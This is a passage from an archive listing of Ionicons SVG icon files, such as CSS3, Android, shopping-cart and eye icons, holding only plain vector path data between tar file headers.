0-15.5-.5-23.1-1.4C62.8 432 113.7 448 168.3 448 346.6 448 444 300.3 444 172.2c0-4.2-.1-8.4-.3-12.5C462.6 146 479 129 492 109.5z"/></svg>ionicons/svg/logo-css3.svg000064400000000532151701353760011526 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256.282 339.488zM64 32l34.946 403.219L255.767 480l157.259-44.85L448 32H64zm290.676 334.898l-98.607 28.125-98.458-28.248L150.864 289h48.253l3.433 39.562 53.586 15.163.132.273h.034l53.467-14.852L315.381 265H203l-4-50h120.646l4.396-51H140l-4-49h240.58l-21.904 251.898z"/></svg>ionicons/svg/logo-android.svg000064400000001663151701353760012301 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M144 268.4V358c0 6.9 4.5 14 11.4 14H184v52c0 13.3 10.7 24 24 24s24-10.7 24-24v-52h49v52c0 7.5 3.4 14.2 8.8 18.6 3.9 3.4 9.1 5.4 14.7 5.4h.5c13.3 0 24-10.7 24-24v-52h27.6c7 0 11.4-7.1 11.4-13.9V192H144v76.4zM408 176c-13.3 0-24 10.7-24 24v96c0 13.3 10.7 24 24 24s24-10.7 24-24v-96c0-13.3-10.7-24-24-24zM104 176c-13.3 0-24 10.7-24 24v96c0 13.3 10.7 24 24 24s24-10.7 24-24v-96c0-13.3-10.7-24-24-24z"/><g><path d="M311.2 89.1l18.5-21.9c.4-.5-.2-1.6-1.3-2.5-1.1-.8-2.4-1-2.7-.4l-19.2 22.8c-13.6-5.4-30.2-8.8-50.6-8.8-20.5-.1-37.2 3.2-50.8 8.5l-19-22.4c-.4-.5-1.6-.4-2.7.4s-1.7 1.8-1.3 2.5l18.3 21.6c-48.2 20.9-55.4 72.2-56.4 87.2h223.6c-.9-15.1-8-65.7-56.4-87zm-104.4 49.8c-7.4 0-13.5-6-13.5-13.3 0-7.3 6-13.3 13.5-13.3 7.4 0 13.5 6 13.5 13.3 0 7.3-6 13.3-13.5 13.3zm98.4 0c-7.4 0-13.5-6-13.5-13.3 0-7.3 6-13.3 13.5-13.3 7.4 0 13.5 6 13.5 13.3 0 7.3-6.1 13.3-13.5 13.3z"/></g></svg>ionicons/svg/ios-qr-scanner.svg000064400000001371151701353760012560 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M174 64h-58.8C78.1 64 48 94.1 48 131.2V190c0 7.7 6.3 14 14 14s14-6.3 14-14v-59.8c0-9.1 4.3-18.7 11.7-26.2 7.5-7.6 17.2-12 26.5-12H174c7.7 0 14-6.3 14-14s-6.3-14-14-14zM397.8 64H338c-7.7 0-14 6.3-14 14s6.3 14 14 14h59.8c9.3 0 19 4.4 26.5 12 7.4 7.5 11.7 17.1 11.7 26.2V190c0 7.7 6.3 14 14 14s14-6.3 14-14v-59.8c0-36.5-29.7-66.2-66.2-66.2zM174 420h-59.8c-9.3 0-19-4.4-26.5-12-7.4-7.5-11.7-17.1-11.7-26.2V322c0-7.7-6.3-14-14-14s-14 6.3-14 14v59.8c0 36.5 29.7 66.2 66.2 66.2H174c7.7 0 14-6.3 14-14s-6.3-14-14-14zM450 308c-7.7 0-14 6.3-14 14v59.8c0 9.1-4.3 18.7-11.7 26.2-7.5 7.6-17.2 12-26.5 12H338c-7.7 0-14 6.3-14 14s6.3 14 14 14h58.8c37 0 67.2-30.1 67.2-67.2V322c0-7.7-6.3-14-14-14z"/></svg>ionicons/svg/ios-book.svg000064400000000737151701353760011446 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M146 64.1c54.1 0 100 27.9 100 82V446c0 2.2-3.1 2.7-3.8.7v-.1c-10.3-34.2-38.2-67.6-82.3-70.5-34.2-2.2-66.9 12.9-93.1 37.1-1.6 1.5-4.3 2.9-6.6 2.9h-4.5c-3.7 0-7.6-2.7-7.6-6.1V120.2C48 88.1 91.9 64.1 146 64.1zM366 64c-54.1 0-100 27.9-100 82v299.9c0 2.2 3.1 2.7 3.8.7v-.1c10.3-34.2 39.4-67.9 82.3-70.5 32.9-2 63.9 11 93.1 37.1 1.6 1.4 4.3 2.9 6.6 2.9h4.5c3.7 0 7.6-2.7 7.6-6.1V120c.1-32-43.8-56-97.9-56z"/></svg>ionicons/svg/md-happy.svg000064400000001214151701353760011432 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C140.563 48 48 141.6 48 256s92.563 208 208 208 208-93.6 208-208S370.401 48 256 48zm0 374.4c-91.518 0-166.404-74.883-166.404-166.4 0-91.518 74.887-166.4 166.404-166.4S422.404 164.482 422.404 256 347.518 422.4 256 422.4zm72.8-187.2c17.683 0 31.201-13.518 31.201-31.2s-13.519-31.2-31.201-31.2c-17.682 0-31.2 13.518-31.2 31.2s13.518 31.2 31.2 31.2zm-145.6 0c17.682 0 31.2-13.518 31.2-31.2s-13.519-31.2-31.2-31.2c-17.683 0-31.201 13.518-31.201 31.2s13.519 31.2 31.201 31.2zM256 370.4c48.883 0 89.436-30.164 106.081-72.801H149.919C166.564 340.236 207.117 370.4 256 370.4z"/></svg>ionicons/svg/md-videocam.svg000064400000000367151701353760012110 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M384 219.5v-85.2c0-13.4-11.2-24.3-24.9-24.3H56.9C43.2 110 32 120.9 32 134.3v243.3C32 391 43.2 402 56.9 402h302.2c13.7 0 24.9-11 24.9-24.3v-85.2l96 97.3V122.2l-96 97.3z"/></svg>ionicons/svg/ios-cart.svg000064400000001414151701353760011436 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><ellipse transform="rotate(-1.057 159.995 423.97) scale(.99997)" cx="160" cy="424" rx="24" ry="24"/><ellipse transform="matrix(.02382 -.9997 .9997 .02382 -48.51 798.282)" cx="384.5" cy="424" rx="24" ry="24"/><path d="M463.8 132.2c-.7-2.4-2.8-4-5.2-4.2L132.9 96.5c-2.8-.3-6.2-2.1-7.5-4.7-3.8-7.1-6.2-11.1-12.2-18.6-7.7-9.4-22.2-9.1-48.8-9.3-9-.1-16.3 5.2-16.3 14.1 0 8.7 6.9 14.1 15.6 14.1s21.3.5 26 1.9c4.7 1.4 8.5 9.1 9.9 15.8 0 .1 0 .2.1.3.2 1.2 2 10.2 2 10.3l40 211.6c2.4 14.5 7.3 26.5 14.5 35.7 8.4 10.8 19.5 16.2 32.9 16.2h236.6c7.6 0 14.1-5.8 14.4-13.4.4-8-6-14.6-14-14.6H188.9c-2 0-4.9 0-8.3-2.8-3.5-3-8.3-9.9-11.5-26l-4.3-23.7c0-.3.1-.5.4-.6l277.7-47c2.6-.4 4.6-2.5 4.9-5.2l16-115.8c.2-.8.2-1.7 0-2.6z"/></svg>ionicons/svg/ios-journal.svg000064400000000511151701353760012154 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M92.1 32C76.6 32 64 44.6 64 60.1V452c0 15.5 12.6 28.1 28.1 28.1H432c8.8 0 16-7.2 16-16s-7.2-16-16-16H112.5c-8.2 0-15.4-6-16.4-14.1-1.1-9.7 6.5-18 15.9-18h208V32H92.1z"/><path d="M432 416c8.8 0 16-7.2 16-16V60.1c0-15.5-12.6-28.1-28.1-28.1H368v384h64z"/></svg>ionicons/svg/md-arrow-dropright.svg000064400000000151151701353760013442 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M192 128l128 128-128 128z"/></svg>ionicons/svg/logo-google.svg000064400000000751151701353760012132 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M457.6 224l-2.1-8.9H262V297h115.6c-12 57-67.7 87-113.2 87-33.1 0-68-13.9-91.1-36.3-23.7-23-38.8-56.9-38.8-91.8 0-34.5 15.5-69 38.1-91.7 22.5-22.6 56.6-35.4 90.5-35.4 38.8 0 66.6 20.6 77 30l58.2-57.9c-17.1-15-64-52.8-137.1-52.8-56.4 0-110.5 21.6-150 61C72.2 147.9 52 204 52 256s19.1 105.4 56.9 144.5c40.4 41.7 97.6 63.5 156.5 63.5 53.6 0 104.4-21 140.6-59.1 35.6-37.5 54-89.4 54-143.8 0-22.9-2.3-36.5-2.4-37.1z"/></svg>ionicons/svg/ios-repeat.svg000064400000001632151701353760011767 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M336.6 157.5L303 124.1c-3.5-3.5-8.5-4.9-13.6-3.6-1.2.3-2.4.8-3.5 1.5-4.7 2.9-7.2 7.8-6.8 13.1.2 3.4 1.9 6.6 4.3 9.1l16 15.9H142c-20.8 0-40.3 8.1-55.1 22.9C72.1 197.7 64 217.2 64 238v16c0 7.7 6.3 14 14 14s14-6.3 14-14v-16c0-13.3 5.2-25.8 14.7-35.3 9.5-9.5 22-14.7 35.3-14.7h155.4l-16 15.9c-2.4 2.4-4 5.4-4.3 8.7-.4 4.2 1.1 8.3 4.1 11.3 2.6 2.6 6.2 4.1 9.9 4.1s7.2-1.4 9.9-4.1l35.6-35.4c4.2-4.1 6.5-9.7 6.5-15.5-.1-5.9-2.4-11.4-6.5-15.5zM434 244c-7.7 0-14 6.3-14 14v16c0 13.3-5.2 25.8-14.7 35.3-9.5 9.5-22 14.7-35.3 14.7H214.6l16-15.9c2.4-2.4 4-5.4 4.3-8.8.4-4.2-1.1-8.3-4.1-11.3-2.6-2.6-6.2-4.1-9.9-4.1s-7.2 1.4-9.9 4.1l-35.6 35.4c-4.2 4.1-6.5 9.7-6.5 15.5 0 5.9 2.3 11.4 6.5 15.5l33.6 33.4c3.5 3.5 8.5 4.9 13.6 3.6 1.2-.3 2.4-.8 3.5-1.5 4.7-2.9 7.2-7.8 6.8-13.1-.2-3.4-1.9-6.6-4.3-9.1l-16-15.9H370c43 0 78-35 78-78v-16c0-7.5-6.3-13.8-14-13.8z"/></svg>ionicons/svg/md-browsers.svg000064400000000322151701353760012156 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M424 64H88c-26.6 0-48 21.6-48 48v288c0 26.4 21.4 48 48 48h336c26.4 0 48-21.6 48-48V112c0-26.4-21.4-48-48-48zm0 336H88V176h336v224z"/></svg>ionicons/svg/md-share-alt.svg000064400000000306151701353760012172 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M448 248L288 96v85.334C138.666 202.667 85.333 309.334 64 416c53.333-74.666 117.333-108.802 224-108.802v87.469L448 248z"/></svg>ionicons/svg/ios-recording.svg000064400000001003151701353760012453 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M386.2 146h-.1c-60.6 0-109.8 49.2-109.8 110.1 0 30.5 12.3 58 32.3 77.9H203.5c19.9-19.9 32.3-47.5 32.3-77.9 0-60.8-49.2-110.1-109.8-110.1h-.1-.1C65.2 146 16 195.2 16 256s49.2 110 109.8 110h260.4c60.6 0 109.8-49.2 109.8-110s-49.2-110-109.8-110zM464 256c0 43.1-34.9 78.2-77.9 78.2s-77.9-35.1-77.9-78.2 34.9-78.2 77.9-78.2S464 212.9 464 256zm-338.1 78.2C83 334.2 48 299.1 48 256s34.9-78.2 77.9-78.2 77.9 35.1 77.9 78.2-34.9 78.2-77.9 78.2z"/></svg>ionicons/svg/md-rewind.svg000064400000000220151701353760011575 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M249.6 402V110L32 256l217.6 146zm12.8-146L480 402V110L262.4 256z"/></svg>ionicons/svg/ios-switch.svg000064400000001017151701353760012005 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><circle cx="144" cy="368" r="42"/><path d="M367.5 272h-223C91.2 272 48 315.2 48 368.5S91.2 464 144.5 464h223c53.3 0 96.5-42.2 96.5-95.5S420.8 272 367.5 272zM144 432c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64z"/><circle cx="368" cy="144" r="42"/><path d="M144.5 240h223c53.3 0 96.5-42.2 96.5-95.5S420.8 48 367.5 48h-223C91.2 48 48 91.2 48 144.5S91.2 240 144.5 240zM368 80c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64z"/></svg>ionicons/svg/ios-git-network.svg000064400000001651151701353760012762 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M377.4 32c-38.9 0-70.6 31.7-70.6 70.7 0 17.1 6.2 33.7 17.5 46.6 10 11.5 23.5 19.4 38.2 22.5v43.1L256 270.3l-106.4-55.4v-43.1c32.2-6.9 55.7-35.6 55.7-69.1 0-39-31.7-70.7-70.6-70.7S64 63.7 64 102.7c0 17.1 6.2 33.7 17.5 46.6 10 11.5 23.5 19.4 38.2 22.5v57.4c0 2.7 1.5 5.1 3.9 6.3l117.5 60.8v43.9c-32.2 6.9-55.7 35.6-55.7 69.1 0 39 31.7 70.7 70.6 70.7s70.6-31.7 70.6-70.7c0-17.1-6.2-33.7-17.5-46.6-10-11.5-23.5-19.4-38.2-22.5v-43.9l117.5-60.8c2.4-1.2 3.9-3.6 3.9-6.3v-57.4c32.2-6.9 55.7-35.6 55.7-69.1 0-39-31.7-70.7-70.6-70.7zM93.8 102.7c0-22.5 18.3-40.8 40.8-40.8s40.8 18.3 40.8 40.8c0 22.5-18.3 40.8-40.8 40.8s-40.8-18.3-40.8-40.8zm203 306.6c0 22.5-18.3 40.8-40.8 40.8s-40.8-18.3-40.8-40.8c0-22.5 18.3-40.8 40.8-40.8s40.8 18.3 40.8 40.8zm80.6-265.7c-22.5 0-40.8-18.3-40.8-40.8 0-22.5 18.3-40.8 40.8-40.8 22.5 0 40.8 18.3 40.8 40.8 0 22.4-18.3 40.8-40.8 40.8z"/></svg>ionicons/svg/md-alert.svg000064400000000322151701353760011417 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.6 48 48 141.601 48 256s93.6 208 208 208 208-93.601 208-208S370.4 48 256 48zm24 312h-48v-40h48v40zm0-88h-48V144h48v128z"/></svg>ionicons/svg/ios-globe.svg000064400000003003151701353760011571 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48h-.7c-55.4.2-107.4 21.9-146.6 61.1C69.6 148.4 48 200.5 48 256s21.6 107.6 60.8 146.9c39.1 39.2 91.2 60.9 146.6 61.1h.7c114.7 0 208-93.3 208-208S370.7 48 256 48zm180.2 194h-77.6c-.9-26.7-4.2-52.2-9.8-76.2 17.1-5.5 33.7-12.5 49.7-21 22 28.2 35 61.6 37.7 97.2zM242 242h-61.8c.8-24.5 3.8-47.7 8.8-69.1 17.4 3.9 35.1 6.3 53 7.1v62zm0 28v61.9c-17.8.8-35.6 3.2-53 7.1-5-21.4-8-44.6-8.8-69H242zm28 0h61.3c-.8 24.4-3.8 47.6-8.8 68.9-17.2-3.9-34.8-6.2-52.5-7V270zm0-28v-62c17.8-.8 35.4-3.2 52.5-7 5 21.4 8 44.5 8.8 69H270zm109.4-117.9c-12.3 6.1-25 11.3-38 15.5-7.1-21.4-16.1-39.9-26.5-54.5 24 8.3 45.9 21.6 64.5 39zM315 146.8c-14.7 3.2-29.8 5.2-45 6V79.4c17 9.2 33.6 33.9 45 67.4zM242 79v73.7c-15.4-.8-30.6-2.8-45.5-6.1 11.6-33.8 28.4-58.5 45.5-67.6zm-45.6 6.4c-10.3 14.5-19.2 32.9-26.3 54.1-12.8-4.2-25.4-9.4-37.5-15.4 18.4-17.3 40.1-30.5 63.8-38.7zm-82.9 59.5c15.8 8.4 32.3 15.4 49.2 20.8-5.7 23.9-9 49.5-9.8 76.2h-77c2.6-35.4 15.6-68.8 37.6-97zM75.8 270h77c.9 26.7 4.2 52.3 9.8 76.2-16.9 5.5-33.4 12.5-49.2 20.8-21.9-28.1-34.9-61.5-37.6-97zm56.7 117.9c12.1-6 24.7-11.2 37.6-15.4 7.1 21.3 16 39.6 26.3 54.2-23.7-8.4-45.4-21.5-63.9-38.8zm64-22.6c14.9-3.3 30.2-5.3 45.5-6.1V433c-17.2-9.1-33.9-33.9-45.5-67.7zm73.5 67.3v-73.5c15.2.8 30.3 2.8 45 6-11.4 33.6-28 58.3-45 67.5zm45-5.7c10.4-14.6 19.4-33.1 26.5-54.5 13 4.2 25.8 9.5 38 15.6-18.6 17.3-40.6 30.6-64.5 38.9zm83.5-59.8c-16-8.5-32.6-15.5-49.7-21 5.6-23.9 8.9-49.4 9.8-76.1h77.6c-2.7 35.5-15.6 68.9-37.7 97.1z"/></svg>ionicons/svg/ios-chatbubbles.svg000064400000001621151701353760012763 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M431 320.6c0-4.4 1.2-8.6 3.3-12.2.6-1.1 1.4-2.1 2.1-3.1 17.4-26 27.6-57.1 27.6-90.3.3-92.2-77.5-167-173.7-167-83.9 0-153.9 57.1-170.3 132.9-2.4 11.1-3.7 22.4-3.7 34.2 0 92.3 74.8 169.1 171 169.1 15.3 0 35.9-4.6 47.2-7.7 11.3-3.1 22.5-7.2 25.4-8.3 2.9-1.1 6.1-1.7 9.3-1.7 3.6 0 7 .7 10.1 2l56.7 20.1s2.4 1 3.9 1c4.4 0 8-3.5 8-8 0-1-.5-2.7-.5-2.7L431 320.6z"/><path d="M318.5 392.5c-3.6 1-8.2 2.1-13.2 3.2-10.5 2.2-23.9 4.5-34 4.5-96.2 0-171-76.8-171-169.1 0-6.6.7-15 1.5-21.4.6-4.3 1.3-8.6 2.3-12.8 1-4.5 2.2-9 3.5-13.4l-8 7.1C66.8 219.2 48 260 48 302.5c0 29.3 8.5 57.5 24.8 82 2.3 3.5 3.6 6.2 3.2 8-.4 1.8-11.9 62-11.9 62-.6 2.9.5 5.8 2.7 7.7 1.5 1.2 3.3 1.8 5.1 1.8 1 0 2-.2 2.9-.6l56.1-22.1c1.8-.7 3.7-1.1 5.7-1.1 0 0 2.4-.2 6.3 1.3 18.9 7.4 39.8 12 60.7 12 46.6 0 90.4-20.1 120.1-55.1 0 0 3.2-4.4 6.9-9.6-3.7 1.3-7.9 2.6-12.1 3.7z"/></svg>ionicons/svg/logo-slack.svg000064400000002002151701353760011742 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M213.6 236.216l64.003-21.438 20.708 61.823-64.004 21.438z"/><path d="M213.6 236.216l64.003-21.438 20.708 61.823-64.004 21.438z"/><path d="M475.9 190C426.4 25 355-13.4 190 36.1S-13.4 157 36.1 322 157 525.4 322 475.9 525.4 355 475.9 190zm-83.3 107.1l-31.1 10.4 10.7 32.2c4.2 13-2.7 27.2-15.7 31.5-2.7.8-5.8 1.5-8.4 1.2-10-.4-19.6-6.9-23-16.9l-10.7-32.2-64.1 21.5L261 377c4.2 13-2.7 27.2-15.7 31.5-2.7.8-5.8 1.5-8.4 1.2-10-.4-19.6-6.9-23-16.9L203 360.4l-31 10.3c-2.7.8-5.8 1.5-8.4 1.2-10-.4-19.6-6.9-23-16.9-4.2-13 2.7-27.2 15.7-31.5l31.1-10.4-20.7-61.8-31.1 10.4c-2.7.8-5.8 1.5-8.4 1.2-10-.4-19.6-6.9-23-16.9-4.2-13 2.7-27.2 15.7-31.5l31.1-10.4-10.9-32.1c-4.2-13 2.7-27.2 15.7-31.5 13-4.2 27.2 2.7 31.5 15.7l10.7 32.2 64.1-21.5-10.7-32.2c-4.2-13 2.7-27.2 15.7-31.5 13-4.2 27.2 2.7 31.5 15.7l10.7 32.2 31.1-10.4c13-4.2 27.2 2.7 31.5 15.7 4.2 13-2.7 27.2-15.7 31.5l-31.1 10.4 20.7 61.8 31.1-10.4c13-4.2 27.2 2.7 31.5 15.7 4.2 13.2-2.7 27.4-15.8 31.7z"/></svg>ionicons/svg/md-eye.svg000064400000000606151701353760011077 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 105c-101.8 0-188.4 62.4-224 151 35.6 88.6 122.2 151 224 151s188.4-62.4 224-151c-35.6-88.6-122.2-151-224-151zm0 251.7c-56 0-101.8-45.3-101.8-100.7S200 155.3 256 155.3 357.8 200.6 357.8 256 312 356.7 256 356.7zm0-161.1c-33.6 0-61.1 27.2-61.1 60.4s27.5 60.4 61.1 60.4 61.1-27.2 61.1-60.4-27.5-60.4-61.1-60.4z"/></svg>ionicons/svg/ios-flower.svg000064400000005310151701353760012002 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M385.1 230.2c-26.7 0-60.1 6.9-86.3 13.5-.9-3.2-2.1-6.2-3.7-9.1 23.2-13.8 51.7-32.5 70.5-51.4 36.7-36.7 48.3-63.6 37.6-74.3-2.6-2.6-6-3.8-10.3-3.8-13.8 0-36 13.4-64 41.4-18.8 18.8-37.6 47.2-51.4 70.4-2.8-1.6-5.9-2.8-9.1-3.8 6.7-26.2 13.5-59.5 13.5-86.1 0-51.9-10.8-79.1-26-79.1s-26 27.2-26 79.1c0 26.6 6.8 60 13.5 86.1-3.2.9-6.2 2.2-9.1 3.8-13.8-23.2-32.5-51.6-51.4-70.4-28-28-50.3-41.4-64-41.4-4.3 0-7.7 1.3-10.3 3.8-10.8 10.8.8 37.6 37.6 74.3 18.9 18.9 47.3 37.6 70.5 51.4-1.5 2.8-2.8 5.9-3.7 9.1-26.2-6.7-59.6-13.5-86.3-13.5-51.8 0-78.7 10.6-78.7 25.8s26.9 26.2 78.9 26.2c26.7 0 60.2-6.9 86.4-13.6.9 3.1 2.2 6.2 3.8 9-23.3 13.8-51.8 32.6-70.7 51.5-36.7 36.7-48.3 63.6-37.6 74.3 2.6 2.6 6 3.8 10.3 3.8 13.8 0 36-13.4 64-41.4 18.9-18.9 37.8-47.5 51.6-70.8 2.8 1.5 5.8 2.8 9 3.7-6.7 26.2-13.6 59.8-13.6 86.5 0 51.9 10.8 78.6 26 78.6s26-26.7 26-78.6c0-26.8-6.9-60.3-13.6-86.5 3.1-.9 6.1-2.1 9-3.7 13.8 23.3 32.6 51.9 51.6 70.8 28 28 50.3 41.4 64 41.4 4.3 0 7.7-1.3 10.3-3.8 10.8-10.8-.8-37.6-37.6-74.3-18.9-18.9-47.5-37.7-70.7-51.5 1.6-2.8 2.8-5.8 3.8-9 26.2 6.7 59.7 13.6 86.4 13.6 51.9 0 78.9-10.8 78.9-26-.2-15.2-27.1-26-79.1-26z"/><path d="M318.4 376.4c-8.5-8.5-16.9-18.7-24.8-29.5 2 13.2 3.3 26.4 3.3 38.4 0 11.7-.5 22.5-1.6 32.1 12.3 21.8 24.3 32.7 34 32.7 1.6 0 3.2-.3 4.7-.9 11-4.5 13.3-23.3 4.5-54.3-6.4-5.3-13.1-11.5-20.1-18.5zM193.8 136.1c8.4 8.4 16.7 18.5 24.6 29.2-2-13.2-3.2-26.3-3.2-38.2 0-11.7.5-22.5 1.6-32.1-12.3-21.8-24.3-32.7-34-32.7-1.6 0-3.2.3-4.7.9-11 4.5-13.3 23.3-4.5 54.3 6.4 5.4 13.2 11.6 20.2 18.6zM135.8 318.6c8.5-8.5 18.7-16.9 29.5-24.8-13.2 2-26.4 3.3-38.4 3.3-11.7 0-22.5-.5-32.1-1.6-25.5 14.4-36.1 28.2-31.8 38.7 2.6 6.4 10.1 9.9 22.1 9.9 8.5 0 19.3-1.7 32.2-5.4 5.4-6.4 11.5-13.1 18.5-20.1zM376.2 193.8c-8.5 8.5-18.7 16.9-29.5 24.8 13.2-2 26.4-3.3 38.4-3.3 11.7 0 22.5.5 32.1 1.6 25.5-14.4 36.1-28.2 31.8-38.7-2.6-6.4-10.1-9.9-22.1-9.9-8.5 0-19.3 1.7-32.2 5.4-5.4 6.5-11.5 13.2-18.5 20.1zM193.6 376.4c-8.3 8.3-16.3 15.6-23.8 21.6-7.8 28.2-5.5 45.4 4.9 49.9 1.6.7 3.2 1 4.9 1 10.3 0 23.2-12 36.7-36.2-.7-8.4-1.1-17.5-1.1-27.3 0-12 1.3-25.2 3.3-38.4-8 10.7-16.4 20.9-24.9 29.4zM318.4 136.2c8.3-8.3 16.2-15.5 23.7-21.5 7.9-28.4 5.7-45.8-4.8-50.2-1.6-.7-3.2-1-4.9-1-10.3 0-23.2 12-36.7 36.2.7 8.4 1.1 17.5 1.1 27.3 0 12.1-1.3 25.3-3.3 38.7 8-10.7 16.4-21 24.9-29.5zM99.6 216.5c8.4-.7 17.5-1.1 27.3-1.1 12 0 25.1 1.3 38.3 3.3-10.7-7.9-20.9-16.3-29.4-24.8-8.3-8.3-15.6-16.3-21.7-23.9-11.3-3.1-20.9-4.6-28.6-4.6-11.4 0-18.6 3.3-21.2 9.5-4.6 10.9 7.1 25.9 35.3 41.6zM412.4 296c-8.4.7-17.5 1.1-27.3 1.1-12 0-25.2-1.3-38.4-3.3 10.8 7.9 21 16.4 29.5 24.8 8.3 8.3 15.5 16.3 21.6 23.8 11.4 3.2 20.9 4.7 28.6 4.7 11.4 0 18.6-3.3 21.2-9.5 4.7-11-7-25.9-35.2-41.6z"/></svg>ionicons/svg/ios-remove-circle.svg000064400000000366151701353760013246 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm90.5 224h-181c-8.5 0-16-6-16-16s7.2-16 16-16h181c8.8 0 16 7.2 16 16s-7.2 16-16 16z"/></svg>ionicons/svg/ios-microphone.svg000064400000002526151701353760012655 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M315 204h72.6c6.6 0 12.3-5.2 12.4-11.8.1-6.7-5.3-12.2-12-12.2h-73c-6.7 0-12.1-5.5-12-12.2.1-6.6 5.8-11.8 12.4-11.8h76.5c4.5 0 8.2-3.7 8-8.2-1.7-47.5-31.2-88.1-72.7-106-5.3-2.3-11.2 1.6-11.2 7.3v35.5c0 6.6-5.2 12.3-11.8 12.4-6.7.1-12.2-5.3-12.2-12V44c0-6.6-5.4-12-12-12s-12 5.4-12 12v56.6c0 6.6-5.2 12.3-11.8 12.4-6.7.1-12.2-5.3-12.2-12V44c0-6.6-5.4-12-12-12s-12 5.4-12 12v40.6c0 6.6-5.2 12.3-11.8 12.4-6.7.1-12.2-5.3-12.2-12V49.1c0-5.8-5.9-9.6-11.2-7.3-41.5 17.9-71.1 58.6-72.7 106-.2 4.5 3.5 8.2 8 8.2h76.5c6.6 0 12.3 5.2 12.4 11.8.1 6.7-5.3 12.2-12 12.2h-72.6c-6.6 0-12.3 5.2-12.4 11.8-.1 6.7 5.3 12.2 12 12.2h72.6c6.6 0 12.3 5.2 12.4 11.8.1 6.7-5.3 12.2-12 12.2h-72.6c-6.6 0-12.3 5.2-12.4 11.8-.1 6.7 5.3 12.2 12 12.2h72.6c6.6 0 12.3 5.2 12.4 11.8.1 6.7-5.3 12.2-12 12.2h-76.9c-4.5 0-8.2 3.7-8 8.2.5 13.6 3.3 26.7 7.9 38.8 1.2 3.1 4.2 5 7.4 5h257.1c3.3 0 6.3-2 7.4-5 4.7-12.1 7.5-25.2 7.9-38.8.2-4.5-3.5-8.2-8-8.2h-76.5c-6.6 0-12.3-5.2-12.4-11.8-.1-6.7 5.3-12.2 12-12.2h72.6c6.6 0 12.3-5.2 12.4-11.8.1-6.7-5.3-12.2-12-12.2h-72.6c-6.6 0-12.3-5.2-12.4-11.8 0-6.7 5.4-12.2 12.1-12.2zM141.5 358.6c19 22 45.2 37.2 75.4 40.8 4 .5 7.1 3.9 7.1 7.9V448c0 17.7 14.3 32 32 32s32-14.3 32-32v-40.7c0-4.1 3.1-7.5 7.1-7.9 30.3-3.5 56.4-18.7 75.4-40.8 2.2-2.6.3-6.6-3.1-6.6H144.5c-3.4 0-5.2 4-3 6.6z"/></svg>ionicons/svg/logo-googleplus.svg000064400000001036151701353760013033 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M318.2 230.9l-1.6-7H160V288h90.7c-9.4 45-48.4 63.6-84.1 63.6-26 0-50.2-7.8-68.3-25.3-18.6-18.1-28.9-43.1-28.9-70.4 0-27.1 9.8-51.8 27.6-69.6 17.7-17.7 42-25.4 68.7-25.4 30.5 0 49.9 13.8 58.1 21.1l48-47.7C258.3 122.6 221.5 93 164.1 93c-44.3 0-86.7 16.8-117.7 47.8C15.9 171.3 0 215.2 0 256s15 82.6 44.6 113.3C76.3 402 121.2 419 167.5 419c42.1 0 81.9-16.5 110.3-46.3 28-29.4 42.4-70.1 42.4-112.7-.1-18-1.9-28.7-2-29.1zM512 224h-57v-57h-41v57h-57v41h57v57h41v-57h57z"/></svg>ionicons/svg/ios-checkmark-circle.svg000064400000000636151701353760013701 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm106.5 150.5L228.8 332.8h-.1c-1.7 1.7-6.3 5.5-11.6 5.5-3.8 0-8.1-2.1-11.7-5.7l-56-56c-1.6-1.6-1.6-4.1 0-5.7l17.8-17.8c.8-.8 1.8-1.2 2.8-1.2 1 0 2 .4 2.8 1.2l44.4 44.4 122-122.9c.8-.8 1.8-1.2 2.8-1.2 1.1 0 2.1.4 2.8 1.2l17.5 18.1c1.8 1.7 1.8 4.2.2 5.8z"/></svg>ionicons/svg/ios-exit.svg000064400000000650151701353760011457 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M144 